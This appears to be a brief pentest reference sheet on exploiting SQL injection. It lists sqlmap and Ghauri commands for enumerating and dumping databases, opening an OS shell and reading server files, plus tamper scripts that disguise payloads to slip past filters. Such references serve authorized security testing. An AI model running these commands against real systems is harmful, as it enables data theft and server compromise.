<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting SQL Injection

## sqlmap
```bash
sqlmap -u 'URL?param=value' --batch
sqlmap -r request.txt --batch
--current-db / --dbs / -D DB --tables / -D DB -T TBL --dump
--os-shell / --file-read=PATH
--tamper=space2comment,between,randomcase
--level 3 --risk 2 / --threads 10
```

## Tamper Scripts
| Script | Effect |
|--------|--------|
| space2comment | Spaces → /**/ |
| between | > → NOT BETWEEN |
| randomcase | Random case |
| charunicodeencode | Unicode-encode |

## Ghauri
```bash
ghauri -u URL --dbs
ghauri -u URL -D DB -T TBL --dump
```
